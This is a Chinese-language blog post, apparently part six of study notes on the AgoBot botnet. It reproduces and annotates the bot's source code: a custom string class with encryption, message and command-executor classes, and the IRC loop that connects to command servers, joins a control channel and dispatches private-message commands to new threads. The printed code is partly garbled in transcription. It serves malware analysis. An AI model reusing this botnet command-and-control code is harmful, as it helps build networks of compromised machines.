AgoBot 殭屍網絡研究筆記(六)

 

六、2008年3月7日

作者:青青子衿

email:[email protected]

1、  CString類,Bot定義了自己的字符串類,與其他字符串類相比,它增加了加密字符串的功能,具體分析如下:

5個成員變量:  

  bool       m_bIsCryptStr ;     //字符串是否加密

  int     m_iCryptKey ;       //用於加密的key的值

  char     * m_szString ;       //保存字符串的指針

  c har     * m_szTemp ;       //字符串臨時指針

  int     m_iLength ;       //字符串的長度

39個成員函數:

public :

  CString ();     //構造函數

  CString ( const   char  * szString );

  CString ( const   CString  & pString );

  CString ( const   int   iValue );

  virtual  ~ CString ();     //析構函數

  void   Assign ( const   char  * szString );     //字符串填充函數

  void   Assign ( const   CString  & pString );

  void   Assign ( const   int   iValue );

  void   Append ( const   char  * szString );     //字符串追加寒函數

  void   Append ( const   CString  & pString );

  void   Append ( const   int   iValue );

  int   Compare ( const   char  * szString const ;   //字符串比較函數

  int   Compare ( const   CString  & pString const ;

  int   CompareNoCase ( const   char  * szString const ;   //忽略大小寫的字符串比較函數

  int   CompareNoCase ( const   CString  & pString const ;

  CString   Decrypt ()  const ;     //字符串加密函數

 

  void   Empty ();     //字符串清空函數

  int   Find ( const   char   cChar const ;   //字符查找函數

  int   Find ( const   char   cChar int   iStart const ;

  int   Find ( const   CString  & pString const ;     //字符串查找函數

  int   Find ( const   CString  & pString int   iStart const ;

  int   Find ( const   char  * szString const ;

  int   Find ( const   char  * szString int   iStart const ;

  void   Format ( const   char  * szFormat , ...);     //字符串的格式化輸入函數

  char  * GetBuffer ( int   iBufLen );   //字符串獲得緩衝區的函數

  int   GetLength ()  const ;   //獲得字符串長度的函數

 

  CString   Mid ( int   iFirst int   iCount const ;     //截取子字符串的函數

  CString   Mid ( int   iFirst const ;

  CString   Token ( int   iNum const   char  * szDelim bool   bUseQuotes );   //以特定分隔符,分割提取子字符串的函數

  CString   Token ( int   iNum const   char  * szDelim );

  void   operator =( const   CString  & sStr );   //重載賦值運算符函數

  void   operator =( const   char  * szStr );

  char  & operator []( int   iPos );       //重載[]運算符函數

  const   char  & operator []( int   iPos const ;

  operator   const   char  *()  const   //重載*()運算符

 

    return   m_szString

  }  

  operator   char  *() 

 

    return   m_szString

  }

  const   char  * CStr ()  const ;   //獲取字符串變量中,字符串緩衝區指針的函數

  const   char  * CStr ();

  char  * Str ();

這裏着重分析一下 Token 函數

//////////////////////////////////////////////////////////////////////////

//

//函數功能:按照分隔符將字符串分爲若干段,

//參數:   int iNum       返回第一段符合要求的字符串  

//       const char *szDelim   分割字符

//       bool bUseQuotes     是否支持轉義字符

//返回值:   CString 如果找到返回相應的子字符串,否則返回NULL字符串

//

/////////////////////////////////////////////////////////////////////////

CString   CString :: Token ( int   iNum const   char  * szDelim bool   bUseQuotes )

{  

  if ( m_bIsCryptStr

  {

    return   Decrypt (). Token ( iNum szDelim bUseQuotes );

  }

 

  std :: vector < char *>  vTokens ;   //注意這裏是一個字符指針數組類型

  CString   sTemp ( m_szString ); 

  char  * szText = sTemp . Str ();

  bool   bInQuotes = false ;

  while (* szText )

  {  

    while (* szText == szDelim [0])  

    {

      //尋找字符串中的分割字符,找到後跳出循環

      szText ++;   // skip leading whitespace

    }

   

    //如果分割符爲“"”雙引號,bInQuotes賦值爲true

    bInQuotes =(* szText == '/"' );         // see if this token is quoted

   

    //如果bInQuotes爲ture

    if ( bInQuotes )

    {

      szText ++;           // skip leading quote

    }

   

    vTokens . push_back ( szText );         // store position of current token

    if ( bInQuotes )

    {   // find next quote followed by a space or terminator

      while (* szText &&! (* szText == '/"' &&  ( szText [1]== ' ' || szText [1]== '/0' ) )  )

      {

        szText ++;

      }

      if (* szText )

      {  

        * szText = '/0'

        if ( szText [1]) { szText +=2};

      }

    }

    else   // !bInQuotes

    {  

      // skip to next non-whitespace/delimiter character

      while (* szText &&* szText != szDelim [0])  //字符串沒有結束,當前字符不是分割富

      {

        szText ++;

      }

      if (* szText &&* szText == szDelim [0]) //字符串沒有結束,當前字符是分割富

      {  

        * szText = '/0' ;   //該字符賦值爲0,及結束符

        szText ++; 

      }

    // if(bInQuotes)

  // while(*szText)

 

  if ( iNum >= vTokens . size ()) 

  {

    return   CString ( "" );

  }

 

  return   CString ( vTokens . at ( iNum )); 

}

2、  CMessage   類的分析

該類沒有成員函數數,只有幾個成員變量

class   CMessage

{

public :

  CString   sChatString ;     //聊天字符串

  CString   sSrc ;         //

  CString   sDest ;         //目的

  CString   sHost ;         //主機

  CString   sIdentd ;       //ID

   

  CString   sReplyTo ;       //回覆(答覆)

  CString   sCmd ;         //命令

  bool   bSilent ;       //靜默?

  bool   bNotice ;       //通告??

};

3、  CCmdExecutor 類的分析

class   CCmdExecutor  :  public   CThread

{

public :

  CCmdExecutor ()  //構造函數

  {

    m_pMsg = NULL ;

    m_bMsgSet = false ;

  }

  virtual  ~ CCmdExecutor () { }   //析構函數

  virtual   void  * Run ();

  CMessage  * Get ()  //獲得消息類對象指針

  {

    return   m_pMsg

  }

  void   Set ( CMessage *); //設置消息類對象

private :

  CMessage   * m_pMsg ;

  CMessage     m_mMsg ;   //消息類變量

  bool       m_bMsgSet ;

};

(1)、 : Run ()   函數

/////////////////////////////////////////////////////////////

//

//函數功能:繼承線程類的run函數

//

///////////////////////////////////////////////////////////////

void  * CCmdExecutor :: Run ()

{  

  while (! m_bMsgSet //如果沒有消息設置,休息1秒鐘 ,再判斷

  {

    Sleep (1000);

  }

  g_cMainCtrl . m_cBot . Recv (& m_mMsg );  //接收消息

 

  g_cMainCtrl . m_lCanJoin . push_back ( this );  //將消息對象放到線程列表中,因爲消息類繼承了線程類

  return   NULL

}

(2)、 Set ( CMessage  * pMsg )   函數

////////////////////////////////////////////////////////////////////

//

//函數功能:設置消息

//參數:   CMessage *pMsg     消息類對象指針

//返回值:void

//

//////////////////////////////////////////////////////////////////////

void   CCmdExecutor :: Set ( CMessage  * pMsg )

{  

  m_pMsg = pMsg ;    //將消息類對象指針賦值給成員變量

  m_mMsg . bNotice = m_pMsg -> bNotice

  m_mMsg . bSilent = m_pMsg -> bSilent

  m_mMsg . sSrc . Assign ( m_pMsg -> sSrc );   //賦值消息源

  m_mMsg . sIdentd . Assign ( m_pMsg -> sIdentd );  //賦值ID

  m_mMsg . sHost . Assign ( m_pMsg -> sHost );     //賦值主機名

  m_mMsg . sDest . Assign ( m_pMsg -> sDest );     //賦值目的地

  m_mMsg . sChatString . Assign ( m_pMsg -> sChatString );     //賦值聊天字符串

  m_bMsgSet = true ;     //將m_bMsgSet設爲true,使run函數啓動。

}

3、 CIRC :: Run ()   CIRC類的run函數

void  * CIRC :: Run () 

{

  while ( m_bRunning  &&  g_cMainCtrl . m_bRunning )  

  {

    //CIRC類的成員變量中的m_bRunning變量爲true,並且全局變量CMainCtrl類型的g_cMainCtrl變量的

    //m_bRunning成員變量也爲true。則運行循環中的代碼

    //如果連接失敗,在這裏處理善後工作

    if (( m_iServerNum ==0 &&  m_iFailCount >5) || ( m_iServerNum !=0 &&  m_iFailCount >2)) 

    {

      //如果連接的是0號服務器並且連接失敗次數大於5;或者連接的不是0號服務器,並且連接失敗次數大於2,執行if裏的代碼

      // Reset CIRC values, disconnect the sockets, and clear the logins

      m_bJoined = false

      m_bConnected = false

      if ( m_sSocket != INVALID_SOCKET )

      {

        xClose ( m_sSocket );     //通過宏定義調用closesocket,關閉套接字

      }

      m_sSocket = INVALID_SOCKET

      g_cMainCtrl . m_cMac . ClearLogins ();   //清除相關Login登錄信息

#ifdef  DBGCONSOLE   //輸出登錄失敗的相關日誌

      if (! m_iServerNum // If its the root server, use another text

      {

        g_cMainCtrl . m_cConsDbg . Log (1,  "CIRC(0x%8.8Xh): Giving up root server /"%s:%d/" after %d retries!/n" this g_cMainCtrl . m_cBot . si_server . sValue . CStr (),  g_cMainCtrl . m_cBot . si_port . iValue m_iFailCount );

      }

      else

      {

        g_cMainCtrl . m_cConsDbg . Log (2,  "CIRC(0x%8.8Xh): Giving up server /"%s:%d/" after %d retries!/n" this g_cMainCtrl . m_cBot . si_server . sValue . CStr (),  g_cMainCtrl . m_cBot . si_port . iValue m_iFailCount );

      }

#endif  // DBGCONSOLE

      // Select new server

      m_iServerNum ++;    //選擇下一個服務器進行連接嘗試

     

      if ( m_iServerNum > m_vServers . size ()-1)   //當準備用於連接的服務器序號已經大於了實際存在的最高次序的服務器序號,將服務器的序號置0,

      {                     //重新重0號,root服務器開始做連接嘗試。

        m_iServerNum =0;

      }

//         m_iServerNum=0; // Server switching disabled for now, remove this to enable

      m_iFailCount =0;  // Reset the failure count     //將連接失敗計數器置0

      //從服務器列表中,提取新的服務器信息,並將這些信息設置到g_cMainCtrl.m_cBot變量中去。

      //Set the cvars to the new values

      g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_chanpass m_vServers . at ( m_iServerNum )-> si_chanpass . sValue . m_szString );

      g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_mainchan m_vServers . at ( m_iServerNum )-> si_mainchan . sValue . m_szString );

      g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_nickprefix m_vServers . at ( m_iServerNum )-> si_nickprefix . sValue . m_szString );

      g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_port m_vServers . at ( m_iServerNum )-> si_port . sValue . m_szString );

      g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_server m_vServers . at ( m_iServerNum )-> si_server . sValue . m_szString );

      g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_servpass m_vServers . at ( m_iServerNum )-> si_servpass . sValue . m_szString );

      g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_usessl m_vServers . at ( m_iServerNum )-> si_usessl . sValue . m_szString );

     

      m_lLastRecv = GetTickCount ();  //獲得當前的時間值。

    }

    //if_1

    if ( m_sSocket == INVALID_SOCKET //如果套接字無效,則創建一個TCP套接字

   

      // We don't have a socket yet, try to create one

      m_sSocket = socket ( AF_INET SOCK_STREAM IPPROTO_TCP );   //創建TCP套接字

      m_bConnected = false ;     //將連接狀態置爲false,未連接

      Sleep (2000);

   

    else   if (! m_bConnected )   //if_1

   

      //如果m_bConnected==false,還沒有連接IRC服務器,調用下面的代碼

      // We're not connected yet, connect to the server

      // Start IdentD

      if (! g_cMainCtrl . m_bIdentD_Running  &&  g_cMainCtrl . m_cBot .identd_enabled. bValue )

      {

        g_cMainCtrl . m_cIdentD . Start ();     //★這裏待分析了CIdentD之後就清楚了

      }

      // Setup vars, resolve address

   

      sockaddr_in   ssin

      int   iErr

      memset (& ssin , 0,  sizeof ( ssin )); 

      ssin . sin_family = AF_INET ;

#ifdef  DBGCONSOLE

      g_cMainCtrl . m_cConsDbg . Log (4,  "CIRC(0x%8.8Xh): Trying to connect to /"%s:%d/".../n" this g_cMainCtrl . m_cBot . si_server . sValue . CStr (),  g_cMainCtrl . m_cBot . si_port . iValue );

#endif

      ssin . sin_port = htons ( g_cMainCtrl . m_cBot . si_port . iValue );     //服務器端口

      ssin . sin_addr . s_addr = ResolveAddress ( g_cMainCtrl . m_cBot . si_server . sValue . CStr ());  //服務器IP

#ifdef  DBGCONSOLE

      g_cMainCtrl . m_cConsDbg . Log (4,  "CIRC(0x%8.8Xh): Resolved /"%s/" to /"%s/".../n" this g_cMainCtrl . m_cBot . si_server . sValue . CStr (),  inet_ntoa ( to_in_addr ( ssin . sin_addr . s_addr )));

#endif

      m_lLastRecv = GetTickCount ();   //獲得當前的時間

     

      // Try to connect to the server

      iErr = connect ( m_sSocket , ( sockaddr *)& ssin sizeof ( sockaddr_in ));   //調用網絡連接函數

      if ( iErr == SOCKET_ERROR )     //如果連接失敗

     

        // Connect failed, exit

#ifdef  DBGCONSOLE

        g_cMainCtrl . m_cConsDbg . Log (4,  "CIRC(0x%8.8Xh): Connection to /"%s:%d/" failed!/n" this g_cMainCtrl . m_cBot . si_server . sValue . CStr (),  g_cMainCtrl . m_cBot . si_port . iValue );

#endif

        Sleep (10000); 

        m_bConnected = false ;     //連接的狀態設爲false

        m_iFailCount ++;    //失敗計數器加1

        continue ;   //繼續外邊的while循環

     

      else   //如果連接成功

      // Connection established

#ifdef  DBGCONSOLE

        g_cMainCtrl . m_cConsDbg . Log (3,  "CIRC(0x%8.8Xh): Connection to /"%s:%d/" established!/n" this g_cMainCtrl . m_cBot . si_server . sValue . CStr (),  g_cMainCtrl . m_cBot . si_port . iValue );

#endif

        m_bConnected = true ;     //連接狀態設爲true

        m_bJoined = false ;     //是否加入頻道的設置設爲false

      }

      m_lLastRecv = GetTickCount ();   //獲得當前的時間

      if ( g_cMainCtrl . m_cBot . si_usessl . bValue )     //查看是否在CBot中設置了,使用ssl協議通訊

      {

        //以下過程用來創建SSL的通訊

#ifdef  DBGCONSOLE

        g_cMainCtrl . m_cConsDbg . Log (3,  "CIRC(0x%8.8Xh): Starting SSL socket.../n" this );

#endif

        m_csslSocket . AttachToSocket ( m_sSocket );   //將套接字關聯到CSSLSocket上

#ifdef  DBGCONSOLE

        g_cMainCtrl . m_cConsDbg . Log (3,  "CIRC(0x%8.8Xh): Doing SSL handshake.../n" this );

#endif

        if (! m_csslSocket . Connect ())   //進行SSL協議的連接

        {

          //如果連接失敗,做以下操作

          xClose ( m_sSocket );    //關閉套接字

          m_sSocket = INVALID_SOCKET //將套接字變量設爲INVALID_SOCKET

#ifdef  DBGCONSOLE

          g_cMainCtrl . m_cConsDbg . Log (3,  "CIRC(0x%8.8Xh): SSL handshake failed.../n" this );

#endif

          Sleep (10000);   //10

          m_bConnected = false ;     //將連接狀態設爲false

          m_iFailCount ++;       //連接失敗計數器加1

          continue ;     //繼續外邊的while循環

        }

       

        m_lLastRecv = GetTickCount ();   //獲得當前的時間

      }

      // Get local ip address  獲得本地的IP

      sockaddr   sa

      socklen_t   sas = sizeof ( sa ); 

      memset (& sa , 0,  sizeof ( sa )); 

      getsockname ( m_sSocket , & sa , & sas );

      char   szTemp [64]; 

      sprintf ( szTemp "%d.%d.%d.%d" , ( unsigned   char ) sa . sa_data [2], ( unsigned   char ) sa . sa_data [3], 

        ( unsigned   char ) sa . sa_data [4], ( unsigned   char ) sa . sa_data [5]);

      m_sLocalIp . Assign ( szTemp ); 

      m_lLocalAddr = inet_addr ( szTemp );   //將本地IP保存到該字符串變量中

      //登錄服務器

      // Send the server password

      if ( g_cMainCtrl . m_cBot . si_servpass . sValue . Compare ( "" ))   //如果服務器密碼不爲NULL

      {

        //發送密碼

        SendRawFormat ( "PASS %s/r/n" g_cMainCtrl . m_cBot . si_servpass . sValue . CStr ());  //★需要進一步分析

       

      }

      // Send the nick and register with the irc server

      SendRawFormat ( "NICK %s/r/nUSER %s 0 0 :%s/r/n" g_cMainCtrl . m_sUserName . CStr (),  //發送用戶密碼

        g_cMainCtrl . m_sUserName . CStr (),  g_cMainCtrl . m_sUserName . CStr ());

   

    else    //if_1   //處理連接成功,之後的數據通訊過程

    {  

      //下面的代碼主要處理數據接收工作

      char   szLine [8192]; 

      memset ( szLine , 0,  sizeof ( szLine ));

      // Wait for a complete line to be received

      bool   bRecvd = false ;

      if ( g_cMainCtrl . m_cBot . si_usessl . bValue )    

      {

        //如果使用ssl協議通信,執行這裏的代碼

        bRecvd = recv_line_irc ( m_sSocket szLine sizeof ( szLine ), & m_csslSocket );

      }

      else

      {

        //明文通訊由這裏來處理

        bRecvd = recv_line_irc ( m_sSocket szLine sizeof ( szLine ),  NULL );

      }

     

      if ( bRecvd )   //判斷是否接收成功

      {

        m_lLastRecv = GetTickCount ();     //獲得當前的時間

        CString   sLine ( szLine );

#ifdef  DBGCONSOLE

        g_cMainCtrl . m_cConsDbg . Log (3,  "CIRC(0x%8.8Xh): Received: /"%s/"/n" this sLine . CStr ());

#endif

        // Set m_bJoined if we joined the channel

        if (! sLine . Token (1,  " " ). Compare ( "353" ) && ! sLine . Token (4,  " " ). Compare ( g_cMainCtrl . m_cBot . si_mainchan . sValue ))

        {

          m_bJoined = true ;   //如果 頻道信息與.m_cBot中所設置的相同,則進入頻道成功,將變量m_bJoined置爲false.

        }

        // Send PONG if we're PING'ed

        else   if (! sLine . Token (0,  " " ). Compare ( "PING" ))  //處理接收到的PING消息

        {

          SendRawFormat ( "PONG %s/r/n" sLine . Token (1,  " " ). CStr ());  //向服務器發送“PONG”消息

          if (! m_bJoined //如果m_bJoined爲false,還沒有加入頻道,發送加入頻道的“JOIN”消息

          {

            SendRawFormat ( "JOIN %s %s/r/n"

            g_cMainCtrl . m_cBot . si_mainchan . sValue . CStr (), 

            g_cMainCtrl . m_cBot . si_chanpass . sValue . CStr ());

          }

        }

        //處理髮送來的NOTICE消息 

        else   if (! sLine . Token (1,  " " ). Compare ( "NOTICE" ))  

        {

          if ( sLine . Token (18,  " " ). Compare ( "" ))  //第18段空格後,有子字符串

          {

            if (! sLine . Token (17,  " " ). Compare ( "pong" ))  //第17段空格後的字符串是pong

            {

              SendRawFormat ( "PONG %s/r/n" sLine . Token (18,  " " ). CStr ());   //將第18段字符串發送會服務端

            }

            if (! m_bJoined //如果還沒有加入頻道

           

              //向服務器發送JOIN消息

              SendRawFormat ( "JOIN %s %s/r/n"

              g_cMainCtrl . m_cBot . si_mainchan . sValue . CStr (), 

              g_cMainCtrl . m_cBot . si_chanpass . sValue . CStr ()); 

            }

         

        }

        // Connected to the server, get the hostname

        //如果接收數據中的第一段的字符串是“001”或“005”

        else   if (! sLine . Token (1,  " " ). Compare ( "001" ) || ! sLine . Token (1,  " " ). Compare ( "005" ))

        {

          if (! m_bJoined )   //如果還未加入頻道,發送JOIN加入頻道

          {

            SendRawFormat ( "JOIN %s %s/r/n"

            g_cMainCtrl . m_cBot . si_mainchan . sValue . CStr (), 

            g_cMainCtrl . m_cBot . si_chanpass . sValue . CStr ());

            if ( g_cMainCtrl . m_bCanSpamAOL  &&  g_cMainCtrl . m_cBot . spam_aol_enabled . bValue )

            {

              SendRawFormat ( "JOIN %s %s/r/n"

              g_cMainCtrl . m_cBot .spam_aol_channel. sValue . CStr (),    //★注意這個值的作用還不清楚

              g_cMainCtrl . m_cBot . si_chanpass . sValue . CStr ()); 

            }

          }

          SendRawFormat ( "USERHOST %s/r/n" g_cMainCtrl . m_sUserName . CStr ());   //發送USERHOST消息

        }

       

        // Get the hostname

        else   if (! sLine . Token (1,  " " ). Compare ( "302" ))   //如果第一段的字符串是302 執行,獲取主機名的操作

        {

          CString   sTemp = sLine . Token (3,  " " );   //提取第三段的字符串

          char  * h = strstr ( sTemp . Str (),  "@" );  //找到“@”後邊的子字符串

          if ( h

          {

            m_sLocalHost . Assign ( h +1);  //將子字符串賦值給m_sLocalHost變量

          }

        }

        // Its a private message

        else   if (! sLine . Token (1,  " " ). Compare ( "PRIVMSG" ))   //如果消息中的第一個字符串爲"PRIVMSG",說明該消息爲私有消息

        {

          CMessage  * msg = new   CMessage ;     //這裏有必要先分析一下CMessage類型

          CCmdExecutor  * ex = new   CCmdExecutor ;

          // Check silent and notice parameters, and set bool flags accordingly

          if ( strstr ( sLine . CStr (),  " -s" ))   //私有命令中" -s" 表示靜默

          {

            msg -> bSilent = true ;

          }

          else  

          {

            msg -> bSilent = false ;

          }

          if ( strstr ( sLine . CStr (),  " -n" ))  //私有命令中" " -n"" 表示通告

          {

            msg -> bNotice = true ;

         

          else  

          {

            msg -> bNotice = false ;

          }

          //分解命令,將其放入CMsg類的對象中。

          // Parse the strings, and insert them into the message

         

          msg -> sSrc . Assign ( sLine . Token (0,  ":" ). Token (0,  " " ). Token (0,  "!" ));

          msg -> sIdentd . Assign ( sLine . Token (1,  "!" ). Token (0,  "@" ));

          msg -> sHost . Assign ( sLine . Token (1,  "@" ). Token (0,  " " ));

          msg -> sDest . Assign ( sLine . Token (2,  " " ));

          char  * szText = strstr ( sLine . Str (),  " :" );

          if ( szText

          {

            msg -> sChatString . Assign ( szText +2);

         

          else  

          {

            msg -> sChatString . Assign ( "" );

          }

#ifdef  DBGCONSOLE

          g_cMainCtrl . m_cConsDbg . Log (1,  "CIRC(0x%8.8Xh): %s / %s / %s / %s / /"%s/".../n" , /

            this msg -> sSrc . CStr (),  msg -> sIdentd . CStr (),  msg -> sHost . CStr (), /

            msg -> sDest . CStr (),  msg -> sChatString . CStr ());

#endif

          // Let the bot handle it

          ex -> Start ();   //啓動線程,個人認爲並沒有運行

          ex -> Set ( msg );  //所有私有消息應該都在新線程中處理

          delete   msg

        }

       

        // Someone got kicked, maybe the bot itself

        //處理KICK命令

        else   if (! sLine . Token (1,  " " ). Compare ( "KICK" )) 

        {

          // If someone is logged in by that name, log him out

          login  * pLogin = g_cMainCtrl . m_cMac . FindLogin ( sLine . Token (3,  " " ));  //第三個字符串是登錄名稱

         

          if ( pLogin //如果找到,將其刪除,這裏的szUsername和szIRCUsername的名稱是相同,很不解

         

            g_cMainCtrl . m_cMac . DelLogin ( sLine . Token (3,  " " ),  sLine . Token (3,  " " ));

          }

          // If the bot itself is kicked, rejoin, and send "screw you %s!"

          //如果bot自己被,踢出頻道,則重新登錄

          if (! sLine . Token (3,  " " ). Compare ( g_cMainCtrl . m_sUserName )) 

          {

            CString   sName ( sLine . Token (1,  ":" ). Token (0,  "!" ). CStr ());

            m_bJoined = false

            SendRawFormat ( "JOIN %s %s/r/n" ,     //發送加入頻道消息

              g_cMainCtrl . m_cBot . si_mainchan . sValue . CStr (),

              g_cMainCtrl . m_cBot . si_chanpass . sValue . CStr ());

            SendRawFormat ( "PRIVMSG %s :screw you %s!/r/n" g_cMainCtrl . m_cBot . si_mainchan . sValue . CStr (),  sName . CStr ()); 

            //發送私有消息“screw you”

         

        }

        // Someone changed his nickname

        //處理標準消息,其他用戶修改暱稱的消息

        else   if (! sLine . Token (1,  " " ). Compare ( "NICK" )) 

        {

          // Check if hes logged in, if so, replace the username in CMac

          CString   sOldNick ( sLine . Token (1,  ":" ). Token (0,  "!" ). CStr ());

          if (! strstr ( sLine . Str (),  " :" )) 

          {

            continue ;

          }

          CString   sNewNick ( strstr ( sLine . Str (),  " :" ));

          if ( sOldNick . Compare ( "" ) &&  sNewNick . Compare ( "" ))

          {

            login  * pLogin = g_cMainCtrl . m_cMac . FindLogin ( sOldNick );

            if ( pLogin )

           

              pLogin -> sIRCUsername . Assign ( sNewNick );

            }

            if (! sOldNick . Compare ( g_cMainCtrl . m_sUserName ))

           

              g_cMainCtrl . m_sUserName . Assign ( sNewNick ); 

            }

         

        }

        // Someone left the channel 處理其他人離開頻道的消息

        else   if (! sLine . Token (1,  " " ). Compare ( "PART" ) || ! sLine . Token (1,  " " ). Compare ( "QUIT" )) 

        {

          // Check if hes logged in, if so, log him out

          login  * pLogin = g_cMainCtrl . m_cMac . FindLogin ( sLine . Token (1,  ":" ). Token (0,  "!" ));

          if ( pLogin

          {

            g_cMainCtrl . m_cMac . DelLogin ( sLine . Token (1,  ":" ). Token (0,  "!" ),  sLine . Token (1,  ":" ). Token (0,  "!" )); 

          }

        }

     

      else  

      // We didn't receive a valid line, or the server closed the connection

        Fail ();

        continue ;

      }

    } //end_if_1

  //end while

  return   NULL ;

}

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章